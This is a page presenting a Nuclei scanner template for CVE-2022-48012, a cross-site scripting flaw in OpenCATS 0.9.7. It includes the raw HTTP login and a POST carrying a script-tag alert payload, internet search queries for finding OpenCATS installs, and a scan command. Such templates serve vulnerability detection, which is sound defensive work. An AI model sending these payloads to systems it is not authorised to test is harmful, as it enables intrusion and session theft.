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OpenCATS 0.9.7 - Cross-Site Scripting

ID: CVE-2022-48012

Severity: medium

Author: r3Y3r53

Tags: cve,cve2022,xss,opencats,authenticated

Description

Section titled “Description”

OpenCATS 0.9.7 contains a cross-site scripting vulnerability via the component /opencats/index.php?m=settings&a=ajax_tags_upd. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2022-48012


info:
  name: OpenCATS 0.9.7 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    OpenCATS 0.9.7 contains a cross-site scripting vulnerability via the component /opencats/index.php?m=settings&a=ajax_tags_upd. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patches or upgrade to a newer version of OpenCATS that addresses the XSS vulnerability.
  reference:
    - https://github.com/Sakura-501/Opencats-0.9.7-Vulnerabilities
    - https://github.com/Sakura-501/Opencats-0.9.7-Vulnerabilities/blob/main/Opencats-0.9.7-Reflected%20XSS%20in%20onChangeTag.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-48012
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-48012
    cwe-id: CWE-79
    epss-score: 0.00112
    epss-percentile: 0.43742
    cpe: cpe:2.3:a:opencats:opencats:0.9.7:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: opencats
    product: opencats
    shodan-query:
      - title:"opencats"
      - http.title:"opencats"
    fofa-query: title="opencats"
    google-query: intitle:"opencats"
  tags: cve,cve2022,xss,opencats,authenticated


http:
  - raw:
      - |
        GET /index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?m=login&a=attemptLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        username={{username}}&password={{password}}
      - |
        POST /index.php?m=settings&a=ajax_tags_upd HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        tag_title=<script>alert(document.domain);</script>


    matchers:
      - type: dsl
        dsl:
          - contains(body_1, "opencats - Login")
          - contains(body_3, "<script>alert(document.domain);</script>")
        condition: and
# digest: 4a0a00473045022100ba1de8915f9b2b3d098a58434ac12ebc2f103cb69407a8bdd0b873615074a41b02206fefa5bb0fae349ff98d7c397c34f4194902e539f19fda76ab1d18ec70240136:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-48012.yaml"

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